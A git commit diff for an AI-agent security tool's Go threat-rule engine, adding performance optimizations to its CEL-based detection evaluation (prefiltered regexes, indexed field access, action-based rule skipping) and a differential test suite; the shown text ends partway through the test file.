The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu
Go agent-ai-cliagent-harnessesagent-securitybrowser-extensionciclaude-codecloudcodexcursordetection-engineeringjevknowledge-basememorymobile-device-managementobservabilitysecuritysecurity-information-and-event-managementsecurity-toolstelemetrytraces
perf(threat-rules): prefilter, indexed fields, action skips and exact untracked evaluation (#1231)
kyle-elliott-asymptote029f930bda2b
diff --git a/pkg/asymptoteobserve/threatrules/activation.go b/pkg/asymptoteobserve/threatrules/activation.gonew file mode 100644index 00000000..c93e801a--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/activation.go@@ -0,0 +1,150 @@+package threatrules++import (+ "reflect"+ "time"++ "github.com/google/cel-go/interpreter"++ "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"+)++// eventInput is one event as the rules of a scan read it. Its activations are built on first use:+// one over the event as given, for the rules that read no derived field, and one over a copy with+// the derived fields filled (withDerivedFields), for the rules that do.+type eventInput struct {+ event *asymptoteobserve.Event+ plain, derived *eventActivation+}++func (in *eventInput) activation(derived bool) *eventActivation {+ if derived {+ if in.derived == nil {+ in.derived = newEventActivation(withDerivedFields(*in.event))+ }+ return in.derived+ }+ if in.plain == nil {+ in.plain = newEventActivation(*in.event)+ }+ return in.plain+}++// eventActivation binds one event to the variable rules address it by, and caches the canonical+// forms of the strings prefilters look at (see prefilter.go), so every rule that matches a regex+// on a field shares one canonicalization of it.+type eventActivation struct {+ e any+ canons map[string]string // a string a prefilter looked at -> its canonical form+ // The tier of sizes the event is within (matcher.go), measured on first use.+ measured bool+ sTier, lTier int+}++// newEventActivation binds e as rules read it: an indexed object (fastobj.go), or the event itself+// where Env could not install the indexed types.+func newEventActivation(e asymptoteobserve.Event) *eventActivation {+ if a := fastTypes(); a != nil {+ return &eventActivation{e: a.NativeToValue(e)}+ }+ return &eventActivation{e: e}+}++func (a *eventActivation) ResolveName(name string) (any, bool) {+ if name == eventVar {+ return a.e, true+ }+ return nil, false+}++func (a *eventActivation) Parent() interpreter.Activation { return nil }++func (a *eventActivation) canon(s string) string {+ if c, ok := a.canons[s]; ok {+ return c+ }+ if a.canons == nil {+ a.canons = map[string]string{}+ }+ c := canon(s)+ a.canons[s] = c+ return c+}++// tier returns the smallest tier holding every string and list a rule can read of the activation's+// event, worked out on first use, and false when none does.+func (a *eventActivation) tier() (s, l int, ok bool) {+ if !a.measured {+ a.measured = true+ a.sTier, a.lTier = -1, -1+ if o, isObj := a.e.(*fastObj); isObj {+ sz := eventSizes{}+ if sz.walk(o.t.a, o.rv) {+ a.sTier, a.lTier = tierOf(stringTiers[:], sz.maxString), tierOf(listTiers[:], sz.maxList)+ }+ }+ }+ return a.sTier, a.lTier, a.sTier >= 0 && a.lTier >= 0+}++func tierOf(tiers []int, n int) int {+ for i, t := range tiers {+ if n <= t {+ return i+ }+ }+ return -1+}++// eventSizes is the largest string or bytes value and the longest list or map an event holds where+// a rule can read it: the fields the CEL environment exposes, which leaves out interface{} values+// (a tool's raw result, raw attributes) that no rule can address.+type eventSizes struct{ maxString, maxList int }++// walk measures v, of a type the event's CEL types hold, and reports false for a value it does+// not know how to measure.+func (z *eventSizes) walk(a *fastAdapter, v reflect.Value) bool {+ switch v.Kind() {+ case reflect.String:+ z.maxString = max(z.maxString, v.Len())+ case reflect.Bool, reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,+ reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64,+ reflect.Float32, reflect.Float64:+ case reflect.Pointer:+ if !v.IsNil() {+ return z.walk(a, v.Elem())+ }+ case reflect.Slice, reflect.Array:+ if v.Type().Elem().Kind() == reflect.Uint8 {+ z.maxString = max(z.maxString, v.Len())+ return true+ }+ z.maxList = max(z.maxList, v.Len())+ for i := range v.Len() {+ if !z.walk(a, v.Index(i)) {+ return false+ }+ }+ case reflect.Map:+ z.maxList = max(z.maxList, v.Len())+ for it := v.MapRange(); it.Next(); {+ if !z.walk(a, it.Key()) || !z.walk(a, it.Value()) {+ return false+ }+ }+ case reflect.Struct:+ ft, ok := a.types[v.Type()]+ if !ok {+ // time.Time, which CEL reads as a timestamp; nothing else reaches here.+ return v.Type() == reflect.TypeFor[time.Time]()+ }+ for _, index := range ft.sized {+ if !z.walk(a, v.Field(index)) {+ return false+ }+ }+ default:+ return false+ }+ return true+}diff --git a/pkg/asymptoteobserve/threatrules/cel.go b/pkg/asymptoteobserve/threatrules/cel.goindex 96dfbaf2..32a3dadd 100644--- a/pkg/asymptoteobserve/threatrules/cel.go+++ b/pkg/asymptoteobserve/threatrules/cel.go@@ -3,14 +3,12 @@ package threatrulesimport ("fmt""reflect"- "regexp""strings""sync""github.com/google/cel-go/cel"celast "github.com/google/cel-go/common/ast""github.com/google/cel-go/ext"- "github.com/google/cel-go/interpreter""github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve")@@ -29,14 +27,42 @@ func celObjectTypeName(t reflect.Type) string {return segments[len(segments)-1] + "." + t.Name()}-// celEnv is the shared, immutable CEL environment for compiling match expressions.-// It is built once: the native-type registration walks the whole Event struct tree and-// is comparatively expensive, and the resulting env is safe for concurrent use.-var (- celEnvOnce sync.Once- celEnvInst *cel.Env- celEnvErr error-)+// nativeEnv is the environment as cel-go's native-types extension builds it. It is built once: the+// registration walks the whole Event struct tree and is comparatively expensive, and the resulting+// env is safe for concurrent use.+var nativeEnv = sync.OnceValues(func() (*cel.Env, error) {+ return cel.NewEnv(+ ext.NativeTypes(reflect.TypeOf(asymptoteobserve.Event{}), ext.ParseStructField(celFieldName)),+ cel.Variable(eventVar, cel.ObjectType(eventCELType)),+ )+})++// fastTypes are the event's types read by index (see fastobj.go), or nil if they cannot be built+// against nativeEnv; TestFastEnvIsInstalled guards against that.+var fastTypes = sync.OnceValue(func() *fastAdapter {+ env, err := nativeEnv()+ if err != nil {+ return nil+ }+ a, err := newFastAdapter(env)+ if err != nil {+ return nil+ }+ return a+})++// celEnv is nativeEnv with fastTypes installed, or nativeEnv itself without them.+var celEnv = sync.OnceValues(func() (*cel.Env, error) {+ env, err := nativeEnv()+ if err != nil {+ return nil, err+ }+ a := fastTypes()+ if a == nil {+ return env, nil+ }+ return env.Extend(cel.CustomTypeAdapter(a), cel.CustomTypeProvider(a.provider))+})// Env returns the shared CEL environment that match expressions compile against.//@@ -47,13 +73,7 @@ var (// "e.command.command" on an event without a command sub-object evaluates to "" rather// than erroring.func Env() (*cel.Env, error) {- celEnvOnce.Do(func() {- celEnvInst, celEnvErr = cel.NewEnv(- ext.NativeTypes(reflect.TypeOf(asymptoteobserve.Event{}), ext.ParseStructField(celFieldName)),- cel.Variable(eventVar, cel.ObjectType(eventCELType)),- )- })- return celEnvInst, celEnvErr+ return celEnv()}// celFieldName is the CEL name of an event struct field: its `cel` tag when it has one,@@ -99,30 +119,15 @@ const MaxEvalCost uint64 = 5_000_000// stop quickly.var evalCostLimit = MaxEvalCost-// constantRegex compiles the constant pattern of a matches() call once, when the program is-// built. Without it cel-go compiles the pattern on every evaluation, for every rule and every-// event, which dominated the time and allocation of a scan. A pattern that does not compile is-// left to the call as written, so a rule with a broken pattern still loads and still fails when-// it is evaluated, exactly as before (TestInvalidRegexErrorsAtEval): moving that failure to load-// time would make rulestore skip the rule instead. Results and CEL costs are unchanged-// (TestConstantRegexChangesNothing).-var constantRegex = &interpreter.RegexOptimization{- Function: interpreter.MatchesRegexOptimization.Function,- RegexIndex: interpreter.MatchesRegexOptimization.RegexIndex,- Factory: func(call interpreter.InterpretableCall, pattern string) (interpreter.InterpretableCall, error) {- if _, err := regexp.Compile(pattern); err != nil {- return call, nil- }- return interpreter.MatchesRegexOptimization.Factory(call, pattern)- },-}-// CompileMatch compiles a single match expression and verifies it types to bool. The// returned program is safe for concurrent reuse across events, and each evaluation is// bounded by MaxEvalCost: one that exceeds it fails with an error rather than matching. A// compile or type-check error (including a reference to an unknown event field) is// returned to the caller; this is what makes "every shipped rule provably compiles// against the schema" a load-time guarantee.+//+// Constant matches() patterns are compiled once, here, and run behind a prefilter (see+// prefilter.go). Neither changes a result, an error or a CEL cost.func CompileMatch(expr string) (cel.Program, error) {prog, _, err := compileMatch(expr)return prog, err@@ -144,7 +149,7 @@ func compileMatch(expr string) (cel.Program, *cel.Ast, error) {if ast.OutputType() != cel.BoolType {return nil, nil, fmt.Errorf("match expression must evaluate to bool, got %s", ast.OutputType())}- prog, err := env.Program(ast, cel.CostLimit(evalCostLimit), cel.OptimizeRegex(constantRegex))+ prog, err := env.Program(ast, cel.CostLimit(evalCostLimit), cel.OptimizeRegex(prefilteredMatches))if err != nil {return nil, nil, fmt.Errorf("build CEL program: %w", err)}@@ -171,11 +176,11 @@ func selectsField(ast *cel.Ast, name string) bool {// step for rules that never reference a derived field, and ScanEvents does it once per event// for all the rules that do.func EvalMatch(prog cel.Program, event asymptoteobserve.Event) (bool, error) {- return evalMatch(prog, withDerivedFields(event))+ return evalMatch(prog, newEventActivation(withDerivedFields(event)))}-func evalMatch(prog cel.Program, event asymptoteobserve.Event) (bool, error) {- out, _, err := prog.Eval(map[string]any{eventVar: event})+func evalMatch(prog cel.Program, act *eventActivation) (bool, error) {+ out, _, err := prog.Eval(act)if err != nil {return false, fmt.Errorf("eval match: %w", err)}diff --git a/pkg/asymptoteobserve/threatrules/doc.go b/pkg/asymptoteobserve/threatrules/doc.gonew file mode 100644index 00000000..46c97366--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/doc.go@@ -0,0 +1,26 @@+// Package threatrules implements the Beacon "Threat Rules" detection-rule standard: a+// YAML rule format whose match conditions are CEL expressions over the Beacon endpoint+// event, plus a reference evaluator and an embedded-fixture conformance harness.+//+// This package is the open reference implementation of the spec under+// spec/threat-rules. A separate (possibly closed) engine conforms if it produces the+// same Verdict each rule's fixtures declare.+//+// # cel-go coupling+//+// The evaluation fast path relies on details of cel-go (v0.30) beyond its public contract. Each+// is guarded by a test that fails if an upgrade changes it:+//+// - fastobj.go reproduces the field semantics of ext.NativeTypes for objects read by field+// index: getFieldValue (zero times, nil pointers), the CEL naming of fields, and the equality+// of the extension's object values. Guarded by TestFastEnvIsInstalled and+// TestFastPathChangesNothing.+// - regexcall.go's matchesCall implements interpreter.InterpretableV2 and InterpretableCall and+// evaluates its arguments on the ExecutionFrame as cel-go's own call does, so the cost+// tracker sees the same argument stack and counts the same cost. Guarded by+// TestFastPathChangesNothing (cost equality) and TestInvalidRegexErrorsAtEval.+// - matcher.go's untracked evaluation relies on the checker's cost estimator (EstimateCost+// with a SizeEstimator) bounding the tracked cost, and on the overload IDs listed in+// untrackedOverloads. Guarded by TestUntrackedCostIsBounded, TestUntrackedShape and+// TestScanAgreesWithReferenceAtLowCostLimits.+package threatrulesdiff --git a/pkg/asymptoteobserve/threatrules/evaluator.go b/pkg/asymptoteobserve/threatrules/evaluator.goindex 2cd8daf9..e92879ae 100644--- a/pkg/asymptoteobserve/threatrules/evaluator.go+++ b/pkg/asymptoteobserve/threatrules/evaluator.go@@ -22,8 +22,8 @@ type Evaluator interface {// Evaluate calls.type CompiledRule struct {rule *Rule- match cel.Program // set for single-event rules- steps []cel.Program // set for correlation rules+ match matcher // set for single-event rules+ steps []matcher // set for correlation ruleswindow time.Duration // parsed correlation windowanyOrder bool // correlation steps may match in any order// derived is set when any of the rule's expressions references an engine-derived field@@ -37,21 +37,26 @@ type CompiledRule struct {var evalObserver func()// eval evaluates one compiled expression against one event, deriving fields first only for-// rules that reference them.-func (c *CompiledRule) eval(prog cel.Program, event asymptoteobserve.Event) (bool, error) {+// rules that reference them. An expression that cannot be true for the event's action is not+// evaluated (see eventActions).+func (c *CompiledRule) eval(m matcher, event asymptoteobserve.Event) (bool, error) {+ if m.excludes(event.Event.Action) {+ return false, nil+ }if c.derived {event = withDerivedFields(event)}- return evalDerived(prog, event)+ act := newEventActivation(event)+ return evalObserved(m.program(act), act)}-// evalDerived evaluates one compiled expression against an event whose derived fields the-// caller has already filled, if the rule needs them.-func evalDerived(prog cel.Program, event asymptoteobserve.Event) (bool, error) {+// evalObserved evaluates one compiled expression against an activation whose event the caller+// has already derived, if the rule needs it.+func evalObserved(prog cel.Program, act *eventActivation) (bool, error) {if evalObserver != nil {evalObserver()}- return evalMatch(prog, event)+ return evalMatch(prog, act)}// Compile validates a rule and compiles its CEL expressions into a reusable evaluator.@@ -63,14 +68,14 @@ func Compile(rule *Rule) (*CompiledRule, error) {}c := &CompiledRule{rule: rule, derived: referencesDerivedField(rule.Match)}if rule.Correlation != nil {- c.steps = make([]cel.Program, len(rule.Correlation.Steps))+ c.steps = make([]matcher, len(rule.Correlation.Steps))for i, step := range rule.Correlation.Steps {c.derived = c.derived || referencesDerivedField(step.Match)- prog, err := CompileMatch(step.Match)+ m, err := compileMatcher(step.Match)if err != nil {return nil, fmt.Errorf("correlation.steps[%d] (%s): %w", i, step.ID, err)}- c.steps[i] = prog+ c.steps[i] = m}window, err := rule.Correlation.ParseWindow()if err != nil {@@ -80,11 +85,11 @@ func Compile(rule *Rule) (*CompiledRule, error) {c.anyOrder = rule.Correlation.AnyOrder()return c, nil}- prog, err := CompileMatch(rule.Match)+ m, err := compileMatcher(rule.Match)if err != nil {return nil, fmt.Errorf("match: %w", err)}- c.match = prog+ c.match = mreturn c, nil}diff --git a/pkg/asymptoteobserve/threatrules/fastobj.go b/pkg/asymptoteobserve/threatrules/fastobj.gonew file mode 100644index 00000000..925eae51--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/fastobj.go@@ -0,0 +1,259 @@+package threatrules++import (+ "fmt"+ "reflect"+ "slices"+ "time"++ "github.com/google/cel-go/cel"+ "github.com/google/cel-go/common/types"+ "github.com/google/cel-go/common/types/ref"++ "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"+)++// Rules read the event through cel-go's native-types extension, which finds a field by comparing+// the CEL name of every field of the struct, parsing struct tags, on every read, and rebuilds a+// reflected type description each time a struct value crosses into CEL. That was most of the cost+// of evaluating a rule against a small event. The types here do the same with field indexes+// worked out once per type, and are what Env installs:+//+// - fastProvider is the extension's type provider, except that a type-checked field selection,+// which is how rules read the event, reads the field by index.+// - fastObj is the extension's object value. Field selection and presence take the indexed path+// with the extension's exact semantics (getFieldValue below); anything else, from an undefined+// field to equality and conversion, is handed to the extension's own value, built on demand,+// so results and error messages are its.+//+// newFastAdapter checks every struct type against the extension's provider and fails if a field+// name disagrees; Env then keeps the extension's own adapter and provider.+type fastObj struct {+ t *fastType+ val any // the struct or a pointer to it, as given+ rv reflect.Value // the struct, pointers followed+}++// fastType is what fastObj needs about one struct type.+type fastType struct {+ a *fastAdapter+ cel ref.Type // the extension's type for the struct+ fields map[string][]int // CEL field name -> index; nil for a name the extension leaves undefined+ // sized are the indexes of the fields a rule can address, the ones whose sizes bound what it+ // reads (matcher.go).+ sized []int+}++// fastAdapter adapts values for rules: structs of the event's types become fastObjs, lists and maps+// adapt their elements with it, and everything else goes to the extension's adapter.+type fastAdapter struct {+ base types.Adapter+ types map[reflect.Type]*fastType+ provider *fastProvider+}++// fastProvider is the extension's type provider with the fields of the event's types read by+// index. Types and field types are the extension's.+type fastProvider struct {+ types.Provider+ a *fastAdapter+ fields map[[2]string]*types.FieldType // (CEL type name, field name)+}++func (p *fastProvider) FindStructFieldType(structType, fieldName string) (*types.FieldType, bool) {+ if ft, ok := p.fields[[2]string{structType, fieldName}]; ok {+ return ft, true+ }+ return p.Provider.FindStructFieldType(structType, fieldName)+}++// NewValue builds a struct literal as the extension does, as a fastObj, so that it compares equal+// to the event's values exactly when the extension's would.+func (p *fastProvider) NewValue(typeName string, fields map[string]ref.Val) ref.Val {+ v := p.Provider.NewValue(typeName, fields)+ if types.IsError(v) {+ return v+ }+ return p.a.NativeToValue(v.Value())+}++// indexedField is the extension's field type for one field, read by index with its getFieldValue.+func indexedField(base *types.FieldType, index []int) *types.FieldType {+ field := func(obj any) reflect.Value { return reflect.Indirect(reflect.ValueOf(obj)).FieldByIndex(index) }+ return &types.FieldType{+ Type: base.Type,+ IsJSONField: base.IsJSONField,+ IsSet: func(obj any) bool { return !field(obj).IsZero() },+ GetFrom: func(obj any) (any, error) { return getFieldValue(field(obj)), nil },+ }+}++// newFastAdapter describes every struct type reachable from the event, checking each against the+// environment's provider, and fails when a field name disagrees.+func newFastAdapter(env *cel.Env) (*fastAdapter, error) {+ provider := env.CELTypeProvider()+ a := &fastAdapter{base: env.CELTypeAdapter(), types: map[reflect.Type]*fastType{}}+ a.provider = &fastProvider{Provider: provider, a: a, fields: map[[2]string]*types.FieldType{}}+ var walk func(t reflect.Type) error+ walk = func(t reflect.Type) error {+ switch t.Kind() {+ case reflect.Pointer, reflect.Slice, reflect.Array, reflect.Map:+ return walk(t.Elem())+ case reflect.Struct:+ default:+ return nil+ }+ if _, done := a.types[t]; done || t == reflect.TypeFor[time.Time]() {+ return nil+ }+ ft := &fastType{a: a, cel: a.base.NativeToValue(reflect.New(t).Interface()).Type(), fields: map[string][]int{}}+ a.types[t] = ft+ var names []string+ for i := range t.NumField() {+ f := t.Field(i)+ name := celFieldName(f)+ if name == "" || name == "-" {+ continue+ }+ if _, dup := ft.fields[name]; dup {+ continue // the extension takes the first field with a name+ }+ names = append(names, name)+ if !f.IsExported() || !supportedType(f.Type) {+ ft.fields[name] = nil+ continue+ }+ ft.fields[name] = f.Index+ if base, ok := provider.FindStructFieldType(ft.cel.TypeName(), name); ok {+ a.provider.fields[[2]string{ft.cel.TypeName(), name}] = indexedField(base, f.Index)+ ft.sized = append(ft.sized, i)+ }+ if err := walk(f.Type); err != nil {+ return err+ }+ }+ want, ok := provider.FindStructFieldNames(ft.cel.TypeName())+ if !ok || !sameSet(names, want) {+ return fmt.Errorf("fields of %s disagree with the CEL environment: %v vs %v", ft.cel.TypeName(), names, want)+ }+ return nil+ }+ if err := walk(reflect.TypeFor[asymptoteobserve.Event]()); err != nil {+ return nil, err+ }+ return a, nil+}++// NativeToValue mirrors the extension's, with fastObj for the event's struct types.+func (a *fastAdapter) NativeToValue(val any) ref.Val {+ if val == nil {+ return types.NullValue+ }+ if v, ok := val.(ref.Val); ok {+ return v+ }+ sv := reflect.Indirect(reflect.ValueOf(val))+ switch sv.Kind() {+ case reflect.Struct:+ if ft, ok := a.types[sv.Type()]; ok {+ return &fastObj{t: ft, val: val, rv: sv}+ }+ case reflect.Slice, reflect.Array:+ if sv.Type().Elem().Kind() != reflect.Uint8 {+ return types.NewDynamicList(a, val)+ }+ case reflect.Map:+ return types.NewDynamicMap(a, val)+ }+ return a.base.NativeToValue(val)+}++// slow is the extension's own value for o.+func (o *fastObj) slow() ref.Val { return o.t.a.base.NativeToValue(o.val) }++func (o *fastObj) field(name ref.Val) (reflect.Value, bool) {+ s, ok := name.(types.String)+ if !ok {+ return reflect.Value{}, false+ }+ idx := o.t.fields[string(s)]+ if idx == nil {+ return reflect.Value{}, false+ }+ return o.rv.FieldByIndex(idx), true+}++// Get implements traits.Indexer as the extension's object does.+func (o *fastObj) Get(name ref.Val) ref.Val {+ f, ok := o.field(name)+ if !ok {+ return o.slow().(interface{ Get(ref.Val) ref.Val }).Get(name)+ }+ return o.t.a.NativeToValue(getFieldValue(f))+}++// IsSet implements traits.FieldTester as the extension's object does.+func (o *fastObj) IsSet(name ref.Val) ref.Val {+ f, ok := o.field(name)+ if !ok {+ return o.slow().(interface{ IsSet(ref.Val) ref.Val }).IsSet(name)+ }+ return types.Bool(!f.IsZero())+}++func (o *fastObj) IsZeroValue() bool { return o.rv.IsZero() }+func (o *fastObj) Type() ref.Type { return o.t.cel }+func (o *fastObj) Value() any { return o.val }++func (o *fastObj) ConvertToNative(t reflect.Type) (any, error) { return o.slow().ConvertToNative(t) }++// ConvertToType is the extension's, which returns the object itself for its own type.+func (o *fastObj) ConvertToType(t ref.Type) ref.Val {+ slow := o.slow()+ v := slow.ConvertToType(t)+ if v == slow {+ return o+ }+ return v+}++func (o *fastObj) Equal(other ref.Val) ref.Val {+ if f, ok := other.(*fastObj); ok {+ other = f.slow()+ }+ return o.slow().Equal(other)+}++// getFieldValue is the extension's: a zero time is the Unix epoch, and a nil pointer is a pointer+// to a zero struct, which is what makes `e.command.command` "" rather than an error on an event+// without a command.+func getFieldValue(f reflect.Value) any {+ if f.IsZero() {+ switch f.Kind() {+ case reflect.Struct:+ if f.Type() == reflect.TypeFor[time.Time]() {+ return time.Unix(0, 0)+ }+ case reflect.Pointer:+ return reflect.New(f.Type().Elem()).Interface()+ }+ }+ return f.Interface()+}++// supportedType is the extension's test for a field it can expose.+func supportedType(t reflect.Type) bool {+ switch t.Kind() {+ case reflect.Chan, reflect.Complex64, reflect.Complex128, reflect.Func, reflect.UnsafePointer, reflect.Uintptr:+ return false+ case reflect.Array, reflect.Slice:+ return supportedType(t.Elem())+ case reflect.Map:+ return supportedType(t.Key()) && supportedType(t.Elem())+ }+ return true+}++func sameSet(a, b []string) bool {+ return len(a) == len(b) && !slices.ContainsFunc(b, func(s string) bool { return !slices.Contains(a, s) })+}diff --git a/pkg/asymptoteobserve/threatrules/fastpath_test.go b/pkg/asymptoteobserve/threatrules/fastpath_test.gonew file mode 100644index 00000000..dc92a7fc--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/fastpath_test.go@@ -0,0 +1,717 @@+package threatrules++import (+ "encoding/json"+ "fmt"+ "math/rand/v2"+ "reflect"+ "regexp"+ "slices"+ "strings"+ "sync/atomic"+ "testing"++ "github.com/google/cel-go/cel"+ celast "github.com/google/cel-go/common/ast"+ "github.com/google/cel-go/common/types/ref"+ "github.com/google/cel-go/interpreter"++ "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"+)++// The engine's fast path (prefiltered regexes, indexed field access, one activation per event and+// skipping rules that cannot match an event's action) must change nothing a rule can observe. These+// tests compare it with the engine as it was without it: cel-go's native-types environment, the+// event bound by a map, each matches() pattern compiled once by cel-go's own optimization+// (referenceRegex, itself compared with cel-go's default program below), every rule evaluated+// on every event.++// referenceRegex compiles a constant matches() pattern once with cel-go's own optimization, and+// leaves a pattern that does not compile to the call as written.+var referenceRegex = &interpreter.RegexOptimization{+ Function: interpreter.MatchesRegexOptimization.Function,+ RegexIndex: interpreter.MatchesRegexOptimization.RegexIndex,+ Factory: func(call interpreter.InterpretableCall, pattern string) (interpreter.InterpretableCall, error) {+ if _, err := regexp.Compile(pattern); err != nil {+ return call, nil+ }+ return interpreter.MatchesRegexOptimization.Factory(call, pattern)+ },+}++// referenceProgram evaluates a program built in nativeEnv with the event bound by a map, whatever+// activation the engine hands it.+type referenceProgram struct{ cel.Program }++func (p referenceProgram) Eval(input any) (ref.Val, *cel.EvalDetails, error) {+ return p.Program.Eval(map[string]any{eventVar: activationEvent(input.(*eventActivation))})+}++func activationEvent(a *eventActivation) asymptoteobserve.Event {+ if o, ok := a.e.(*fastObj); ok {+ return o.val.(asymptoteobserve.Event)+ }+ return a.e.(asymptoteobserve.Event)+}++// nativeProgram compiles expr in nativeEnv with the cost limit, and with opts.+func nativeProgram(t testing.TB, expr string, opts ...cel.ProgramOption) cel.Program {+ t.Helper()+ env, err := nativeEnv()+ if err != nil {+ t.Fatal(err)+ }+ ast, iss := env.Compile(expr)+ if iss != nil && iss.Err() != nil {+ t.Fatalf("%s: %v", expr, iss.Err())+ }+ prog, err := env.Program(ast, append([]cel.ProgramOption{cel.CostLimit(evalCostLimit)}, opts...)...)+ if err != nil {+ t.Fatalf("%s: %v", expr, err)+ }+ return prog+}++// referenceRule is rule compiled as the engine compiled it before the fast path.+func referenceRule(t testing.TB, rule *Rule) *CompiledRule {+ t.Helper()+ c, err := Compile(rule)+ if err != nil {+ t.Fatalf("%s: %v", rule.ID, err)+ }+ ref := func(expr string) matcher {+ return matcher{prog: referenceProgram{nativeProgram(t, expr, cel.OptimizeRegex(referenceRegex))}}+ }+ if rule.Correlation != nil {+ for i, step := range rule.Correlation.Steps {+ c.steps[i] = ref(step.Match)+ }+ } else {+ c.match = ref(rule.Match)+ }+ return c+}++// compiledCorpus compiles the open corpus and the embedded baseline both ways.+func compiledCorpus(t testing.TB) (rules []*Rule, fast, reference []*CompiledRule) {+ t.Helper()+ rules = corpusRules(t)+ for _, r := range rules {+ c, err := Compile(r)+ if err != nil {+ t.Fatalf("%s: %v", r.ID, err)+ }+ fast = append(fast, c)+ reference = append(reference, referenceRule(t, r))+ }+ return rules, fast, reference+}++// copyEvent deep-copies an event through its JSON form. Derived fields are not on the wire and are+// derived again when a rule reads them.+func copyEvent(t testing.TB, e asymptoteobserve.Event) asymptoteobserve.Event {+ t.Helper()+ raw, err := json.Marshal(e)+ if err != nil {+ t.Fatal(err)+ }+ var out asymptoteobserve.Event+ if err := json.Unmarshal(raw, &out); err != nil {+ t.Fatal(err)+ }+ return out+}++func fixtureEvents(t testing.TB, rules []*Rule) []asymptoteobserve.Event {+ t.Helper()+ var events []asymptoteobserve.Event+ for _, r := range rules {+ for _, f := range r.Tests {+ for _, e := range f.EventList() {+ events = append(events, copyEvent(t, e))+ }+ }+ }+ return events+}++// foldVariants spells s the ways (?i) treats as equal but a lowercase comparison does not: the+// long s (U+017F) for s, the Kelvin sign (U+212A) for k, and upper case.+func foldVariants(s string) []string {+ return []string{+ s,+ strings.ToUpper(s),+ strings.NewReplacer("s", "ſ", "S", "ſ").Replace(s),+ strings.NewReplacer("k", "\u212a", "K", "\u212a").Replace(s),+ }+}++// mapStrings replaces every string reachable from v, map values and interface values included,+// with f of it.+func mapStrings(v reflect.Value, f func(string) string) {+ switch v.Kind() {+ case reflect.Pointer:+ if !v.IsNil() {+ mapStrings(v.Elem(), f)+ }+ case reflect.Interface:+ if v.IsNil() {+ return+ }+ inner := reflect.New(v.Elem().Type()).Elem()+ inner.Set(v.Elem())+ mapStrings(inner, f)+ if v.CanSet() {+ v.Set(inner)+ }+ case reflect.Struct:+ for i := range v.NumField() {+ if v.Type().Field(i).IsExported() {+ mapStrings(v.Field(i), f)+ }+ }+ case reflect.Slice:+ for i := range v.Len() {+ mapStrings(v.Index(i), f)+ }+ case reflect.Map:+ keys := v.MapKeys()+ slices.SortFunc(keys, func(a, b reflect.Value) int { return strings.Compare(fmt.Sprint(a), fmt.Sprint(b)) })+ for _, k := range keys { // in order, so a seeded run replaces the same strings+ inner := reflect.New(v.Type().Elem()).Elem()+ inner.Set(v.MapIndex(k))+ mapStrings(inner, f)+ v.SetMapIndex(k, inner)+ }+ case reflect.String:+ if v.CanSet() {+ v.SetString(f(v.String()))+ }+ }+}++// eventStrings returns every string in the events' JSON forms, derived fields included.+func eventStrings(t testing.TB, events []asymptoteobserve.Event) []string {+ t.Helper()+ var out []string+ var collect func(v any)+ collect = func(v any) {+ switch v := v.(type) {+ case string:+ out = append(out, v)+ case map[string]any:+ for k, x := range v {+ out = append(out, k)+ collect(x)+ }+ case []any:+ for _, x := range v {+ collect(x)+ }+ }+ }+ for _, e := range events {+ d := withDerivedFields(e)+ var extra []string+ if d.Command != nil {+ for _, c := range d.Command.ParsedCommands {+ extra = append(append(append(extra, c.Name), c.Argv...), c.ArgvRaw...)+ }+ }+ if d.GenAI != nil {+ extra = append(extra, d.GenAI.SystemInstructionsText)+ if d.GenAI.Tool != nil && d.GenAI.Tool.Call != nil {+ extra = append(extra, d.GenAI.Tool.Call.ResultText)+ }+ }+ raw, _ := json.Marshal(d)+ var m any+ _ = json.Unmarshal(raw, &m)+ collect(m)+ out = append(out, extra...)+ }+ slices.Sort(out)+ return slices.Compact(out)+}++// TestFastPathChangesNothing evaluates every expression of the corpus, compiled by CompileMatch,+// against its rule's fixture events as written, derived, sanitized as the log holds them, spelled+// in fold-case variants and with every string 64 KiB, and requires the result, the error and the+// CEL cost (the cost limit is a safety contract) of cel-go's default program and of the reference+// engine.+func TestFastPathChangesNothing(t *testing.T) {+ big := strings.Repeat("a", asymptoteobserve.DefaultMaxEventBytes)+ var compared atomic.Int64+ t.Run("rules", func(t *testing.T) {+ for _, r := range corpusRules(t) {+ t.Run(r.ID, func(t *testing.T) {+ t.Parallel()+ compared.Add(int64(fastPathAgrees(t, r, big)))+ })+ }+ })+ if compared.Load() < 10000 {+ t.Fatalf("compared only %d evaluations; the corpus did not load", compared.Load())+ }+ t.Logf("%d evaluations agree on result, error and cost", compared.Load())+}++func fastPathAgrees(t *testing.T, r *Rule, big string) (compared int) {+ type progs struct {+ expr string+ fast, def, referenceRx cel.Program+ }+ var ps []progs+ for _, expr := range ruleExpressions(r) {+ fast, err := CompileMatch(expr)+ if err != nil {+ t.Fatalf("%s: %v", r.ID, err)+ }+ ps = append(ps, progs{+ expr: expr,+ fast: fast,+ def: nativeProgram(t, expr),+ referenceRx: nativeProgram(t, expr, cel.OptimizeRegex(referenceRegex)),+ })+ }+ var variants []asymptoteobserve.Event+ for _, e := range fixtureEvents(t, []*Rule{r}) {+ variants = append(variants, e, withDerivedFields(e), withDerivedFields(asymptoteobserve.SanitizeEvent(copyEvent(t, e), 64*1024)))+ for i := 1; i < 4; i++ {+ v := copyEvent(t, e)+ mapStrings(reflect.ValueOf(&v).Elem(), func(s string) string { return foldVariants(s)[i] })+ variants = append(variants, withDerivedFields(v))+ }+ v := withDerivedFields(copyEvent(t, e))+ fillStrings(reflect.ValueOf(&v).Elem(), big, 0)+ variants = append(variants, v)+ }+ for vi, e := range variants {+ act := newEventActivation(e) // shared by the rule's expressions, as a scan shares it+ for _, p := range ps {+ gotVal, gotDet, gotErr := p.fast.Eval(act)+ for which, want := range map[string]cel.Program{"default": p.def, "reference": p.referenceRx} {+ wantVal, wantDet, wantErr := want.Eval(map[string]any{eventVar: e})+ if fmt.Sprint(gotErr) != fmt.Sprint(wantErr) {+ 